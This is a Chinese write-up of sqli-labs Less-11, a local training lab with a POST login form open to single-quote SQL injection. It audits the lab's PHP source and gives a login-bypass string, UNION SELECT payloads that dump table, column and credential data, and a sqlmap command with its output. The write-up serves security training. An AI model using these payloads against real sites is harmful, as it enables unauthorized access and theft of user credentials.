sqli-labs通关笔记-第11关 POST字符型注入(单引号闭合 手工注入+脚本注入两种方法)

目录

一、字符型注入

二、limit函数

三、GET方法与POST方法

四、源码分析

1、代码审计

2、SQL注入安全分析

五、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句

(2)万能密码登录 

3、手工注入

 (1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节通过手工注入和脚本注入共2种方法对第11关Less 11基于字符型的SQL注入关卡进行渗透实战,相对于前1-10关的最主要区别是报文参数的请求方法由GET变为POST。  

一、字符型注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

二、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句“SELECT * FROM users WHERE id='$id' LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

三、GET方法与POST方法

GET 和 POST 是 HTTP 协议中两种常用请求方法,核心区别如下。

GET 方法通过 URL 传递参数(如?key=value),参数可见且暴露在地址栏中,受浏览器长度限制(通常约 2KB),仅支持 ASCII 字符,会被浏览器缓存,安全性较低,适用于获取数据(如搜索、分页)。例如,用户搜索关键词时,参数直接显示在 URL 中。

POST 方法将参数放入请求体中传输,不显示在 URL 中,无明显长度限制,支持任意编码,不会被缓存,安全性更高,适用于提交数据(如登录表单、文件上传)。例如,用户提交密码时,参数通过 POST 请求体发送,不易被窃取。

简言之,GET 侧重 “获取”,参数可见且有局限性;POST 侧重 “提交”,参数隐蔽且更灵活。两者的详细区别如下表所示。

对比项GET 方法POST 方法
参数位置参数附在 URL 后(如?name=value参数放在 HTTP 请求体中
可见性参数暴露在 URL 中,不安全参数不可见,相对安全
长度限制有长度限制(约 2KB,取决于浏览器)无明显长度限制
缓存性会被浏览器缓存不会被缓存
编码支持只允许 ASCII 字符支持任何编码类型
安全性不适合传输敏感数据(如密码)更适合传输敏感数据
应用场景获取数据(如搜索、分页)提交数据(如表单、文件上传)
典型注入点URL 参数(如id=1' OR 1=1 --表单字段(如 POST 数据中的username

四、源码分析

1、代码审计

本关卡Less11是基于字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less11关卡的源码功能是登录验证页面,与前1-10关的主要区别就是参数的传递方法由GET变为POST方法,详细注释后的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Less-11- Error Based- String</title> <!-- 基于错误的字符串注入 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br></div><!-- 登录表单 -->
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;"><div style="padding-top:10px; font-size:15px;"><form action="" name="form1" method="post"> <!-- POST方式提交 --><div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;<input type="text" name="uname" value=""/> <!-- 用户名输入框 --></div>  <div> Password  : &nbsp;&nbsp;&nbsp;<input type="text" name="passwd" value=""/> <!-- 密码输入框 --></div></br><div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /> <!-- 提交按钮 --></div></form></div>
</div><div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00"><?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭PHP错误报告
error_reporting(0);// 检查是否提交了用户名和密码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname = $_POST['uname']; // 获取用户名$passwd = $_POST['passwd']; // 获取密码// 记录用户输入到日志文件$fp = fopen('result.txt','a');fwrite($fp,'User Name:'.$uname);fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// 构造SQL查询 - 存在注入风险点@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; // 直接拼接$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) { // 登录成功echo "<br>";echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">';    echo "<br>";echo 'Your Login name:'. $row['username']; // 显示用户名echo "<br>";echo 'Your Password:' .$row['password']; // 显示密码(安全风险)echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; // 成功标志图片    } else { // 登录失败echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 关键安全点:显示数据库错误信息echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; // 失败图片echo "</font>";  }
}
?>
</font>
</div>
</body>
</html>

这是一个参数为用户名和密码的基于POST请求登录表单的登录验证页面,存在基于错误的SQL注入风险,通过用户名和密码字段的直接拼接构造SQL查询,并显示数据库错误信息,主要功能是:

  • 提供用户名和密码的登录表单(POST方法提交)

  • 记录所有登录尝试到result.txt日志文件

  • 使用单引号直接拼接用户输入构造SQL查询

  • 响应处理:

    • 登录成功:显示用户名和明文密码(可使用union联合法注入)及成功图片

    • 登录失败:显示数据库错误信息和失败图片

  • 关键风险点:显示详细的MySQL错误信息(可使用报错法注入)

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,原因如下:

  • 未过滤的用户输入:直接将POST参数拼接到SQL语句中,没有任何过滤或转义处理。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  • 字符串拼接方式:SQL查询使用单引号包裹用户输入,攻击者可以闭合单引号注入恶意代码。

  • 登录成功结果显示:显示用户名和明文密码,有助于攻击者进行基于union联合法SQL注入。

  • 错误信息显示:当SQL查询出错时,代码会通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。

五、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第11关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less11关卡,进入到靶场的第11关卡POST字符型注入关卡,页面提示登录框,需要输入用户名和密码,具体如下所示。

http://127.0.0.1/sqli-labs/Less-11/

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡通过 POST 方法接收用户名(username)和密码(passwd),使用mysqli_query执行 SQL 查询(SELECT username, password FROM users WHERE username='$uname' and password='$passwd'),直接拼接用户输入的unamepasswd参数,且未对单引号等特殊字符过滤。登录成功时显示用户名、密码及成功图片;失败时通过mysqli_error($con1)直接返回数据库错误信息,导致可利用报错注入(如UPDATEXML函数)泄露数据。具体代码如下所示。

$uname = $_POST['uname'];
$passwd = $_POST['passwd'];
$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

页面整体基于错误回显的字符串型注入场景,核心根源在于未对输入做安全处理且暴露数据库错误细节,闭合方式为单引号,故而本关卡可以通过POST方法字符型报错注入进行渗透。

(2)万能密码登录 

根据上一步我们分析注入点为username和passwd,尝试万能登录,用户名为admin' or 1=1#,密码任意(这里设置为mooyuan),此时开启bp抓包,页面效果如下所示。

点击登录submit,此时页面显示“Your Login name:Dumb,Your Password:Dumb;”并提示登陆成功,具体如下所示。 

在burpsuite的历史记录中找到这个报文,抓包效果如下所示。

此时在报文derequest请求部分右键,选择copy to file并保存为sqli-labs11.txt,如下所示。

3、手工注入

 (1)获取列数

如下所示,order by为2时渗透成功,但是order by为3时提示列不存在,故而共有2列。

admin' ORDER BY 2-- 
admin' ORDER BY 3-- 

(2)获取回显位

如下所示,回显位为1和2,接下来我们使用第2个回显位进行渗透。

-admin' UNION SELECT 1,2-- 

(3)获取数据库名

如下所示,数据库的名称为“security”。

-admin' UNION SELECT 1,DATABASE()-- 

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

-admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- 

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。

-admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'-- 

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

-admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)) FROM users-- 

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs11.txt  --current-db --dump --batch

其中sqli-labs11.txt中的注入点被修改为如下所示。

POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-11/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 55uname=admin&passwd=mooyuan&submit=Submit

sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注等方法渗透成功,具体信息如下所示。

POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 145 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 6228=6228#&passwd=mooyuan&submit=SubmitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin%' AND GTID_SUBSET(CONCAT(0x7176786b71,(SELECT (ELT(6001=6001,1))),0x716a6a7871),6001) AND 'lltM%'='lltM&passwd=mooyuan&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin%' AND (SELECT 1233 FROM (SELECT(SLEEP(5)))oGno) AND 'kYbR%'='kYbR&passwd=mooyuan&submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: uname=admin%' UNION ALL SELECT CONCAT(0x7176786b71,0x797650764470725965535070477076437651646c5866515a575942654e42726e62704c796b4e706f,0x716a6a7871),NULL#&passwd=mooyuan&submit=Submit
---
[21:44:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[21:44:47] [INFO] fetching current database
current database: 'security'
[21:44:47] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:44:47] [INFO] fetching current database
[21:44:47] [INFO] fetching tables for database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/915631.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/915631.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络安全基础作业三

回顾web前端的代码<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>用户登录</title><st…

基于单片机的温湿度报警系统设计与实现

摘 要 本项研究对温湿度警报系统的需求进行了详尽分析&#xff0c;并成功研制出一套以单片机为技术核心的温湿度警报系统。该系统由硬件搭建和软件编程两大模块构成。在硬件搭建方面&#xff0c;系统整合了STM32主控芯片、DS18B20温度传感器、湿敏电阻、按键组件、OLED显示屏、…

(八)复习(拆分微服务)

文章目录项目地址一、Ticketing模块拆分1.1 创建web api1. 添加引用2. 添加需要的包和配置3. program.cs4. docker-compose修改项目地址 教程作者&#xff1a;教程地址&#xff1a; 代码仓库地址&#xff1a; 所用到的框架和插件&#xff1a; dbt airflow一、Ticketing模块拆…

DearMom以“新生儿安全系统”重塑婴儿车价值,揽获CBME双项大奖

7月16日&#xff0c;在刚刚开幕的2025 CBME中国孕婴童展上&#xff0c;备受瞩目的CBME中国孕婴童产业奖正式揭晓。深耕婴儿车品类的专业品牌DearMom&#xff0c;凭借其卓越的创新实力与对新生儿安全出行的深刻洞察&#xff0c;一举摘得重量级奖项——“杰出品牌创新奖”。同时&…

瀚高数据库开启Oracle兼容模块

文章目录环境症状问题原因解决方案环境 系统平台&#xff1a;Linux x86-64 Red Hat Enterprise Linux 7 版本&#xff1a;4.5 症状 不能使用Oracle兼容&#xff1b; 问题原因 在瀚高数据库V45中oracle兼容模块需要单独开启默认是关闭状态。 解决方案 使用sysdba执行修改…

final修饰符不可变的底层

final修饰符的底层原理在 Java 中&#xff0c;final 修饰符的底层实现涉及 编译器优化 和 JVM 字节码层面的约束其核心目标是保证被修饰元素的【不可变性】或 【不可重写 / 继承性】一、final 修饰类&#xff1a;禁止继承的底层约束当一个类被 final 修饰时&#xff0c;例如 St…

如何排查服务器 CPU 飙高

服务器 CPU 飙高&#xff08;CPU 使用率持续超过 80% 甚至接近 100%&#xff09;是典型的性能瓶颈问题&#xff0c;可能由应用逻辑缺陷、资源竞争、外部压力或硬件/系统异常引起。以下是系统化的排查步骤&#xff0c;覆盖从现象确认到根因定位的全流程。​一、确认 CPU 飙高的现…

【DataWhale】快乐学习大模型 | 202507,Task05笔记

前言 今天是Transformer的编码实战阶段&#xff0c;照着示例代码执行一遍吧 embedding self.tok_embeddings nn.Embedding(args.vocab_size, args.dim)把token向量转为embedding矩阵&#xff08;一个token一个embedding向量&#xff09; 位置编码 为了解决“我喜欢你”和…

用ffmpeg 进行视频的拼接

author: hjjdebug date: 2025年 07月 22日 星期二 17:06:02 CST descrip: 用ffmpeg 进行视频的拼接 文章目录1. 指定协议为concat 方式.1.1 协议为concat 模式,会调用 concat_open 函数1.2 当读数据时,会调用concat_read2. 指定file_format 为 concat 方式2.1 调用concat_read_…

HTTP与HTTPS技术细节及TLS密钥交换与证书校验全流程

HTTP与HTTPS技术细节及TLS密钥交换与证书校验全流程 引言 文档目的与范围 核心技术栈概述 本文档的核心技术栈围绕传输层安全协议&#xff08;TLS&#xff09;展开。TLS协议作为安全套接字层&#xff08;SSL&#xff09;的后继标准&#xff0c;是现代网络安全通信的基础&am…

广播分发中心-广播注册流程

广播是怎么注册的呢&#xff1f;阶段组件/数据结构作用描述存储位置/关联关系App进程阶段BroadcastReceiver开发者自定义的广播接收器&#xff0c;实现onReceive方法处理事件。App进程&#xff08;Activity/Service等组件内&#xff09;ReceiverDispatcher将BroadcastReceiver封…

OpenCV计算机视觉实战(16)——图像分割技术

OpenCV计算机视觉实战&#xff08;16&#xff09;——图像分割技术0. 前言1. 分水岭算法1.1 应用场景1.2 实现过程2. GrabCut 交互式分割2.1 应用场景2.2 实现过程3. FloodFill3.1 应用场景3.2 实现过程小结系列链接0. 前言 图像分割是计算机视觉中将像素划分为具有特定语义或…

Coturn打洞服务器

* 概念理解&#xff1a;1. SDP协议&#xff1a;会话描述协议&#xff0c;视频通话的双方通过交换SDP信息进行媒体协商&#xff0c;从而选择使用某一相同的媒体协议进行通信&#xff1b;TLS协议&#xff1a;基于TCP的安全层传输协议DTLS协议&#xff1a;基于UDP的安全层传输协议…

python flusk 监控

# 创建虚拟环境目录 python3 -m venv /sda1/xunjian/venv # 激活虚拟环境 source /sda1/xunjian/venv/bin/activate # 激活后终端会显示 (venv)创建虚拟环境&#xff08;在当前目录&#xff09;&#xff1a;bashpython3 -m venv venv激活虚拟环境&#xff1a;bashsource venv/b…

VUE2 项目学习笔记 ? 语法 v-if/v-show

?语法页面渲染的时候&#xff0c;需要服务器传过来的对象中的一个属性&#xff0c;然后根据这个属性用v-for渲染标签&#xff0c;这里写的v-for".... in dataList.goodsList"但是当解析到这行语法的时候&#xff0c;dataList还没返回&#xff0c;因此控制台会报错找…

使用qemu命令启动虚拟机

1. 安装相关软件 yum install qemu edk2* libvirt -y 启动libvirt服务 systemctl start libvirtd systemctl status libvirtd2. 创建虚拟机 2.1. qemu启动命令示例 /usr/bin/qemu-system-loongarch64 \-machine virt,accelkvm \-nodefaults \-m 2048 \-smp 2,maxcpus4,co…

大模型系统化学习路线

人工智能大模型系统化学习路线一、基础理论筑基&#xff08;1-2个月) 目标&#xff1a;建立大模型核心认知框架 核心内容&#xff1a; 深度学习基础&#xff1a;神经网络原理、CNN/RNN结构、梯度下降算法大模型本质&#xff1a;Transformer架构&#xff08;重点掌握注意力机制、…

LLaMA-Factory 微调可配置的模型基本参数

LLaMA-Factory 微调可配置的模型基本参数 flyfish 基本参数 一、模型加载与路径配置参数名类型描述默认值model_name_or_pathOptional[str]模型路径&#xff08;本地路径或 Huggingface/ModelScope 路径&#xff09;。Noneadapter_name_or_pathOptional[str]适配器路径&#xf…

Ubuntu 22 安装 ZooKeeper 3.9.3 记录

Ubuntu 22 安装 ZooKeeper 3.9.3 记录 本文记录在 Ubuntu 22.04 系统上安装 ZooKeeper 3.9.3 的过程&#xff0c;包含 Java 环境准备、配置文件调整、启动与停机操作、以及如何将 ZooKeeper 注册为系统服务。 一、准备环境 ZooKeeper 3.9.x 要求 Java 11 或更高版本&#xff…

FreeSwitch通过Websocket(流式双向语音)对接AI实时语音大模型技术方案(mod_ppy_aduio_stream)

FreeSwitch通过WebSocket对接AI实时语音大模型插件技术方案1. 方案概述 基于FreeSWITCH的实时通信能力&#xff0c;通过WebSocket协议桥接AI大模型服务&#xff0c;实现低延迟、高并发的智能语音交互系统。支持双向语音流处理、实时ASR/TTS转换和动态业务指令执行。 1753095153…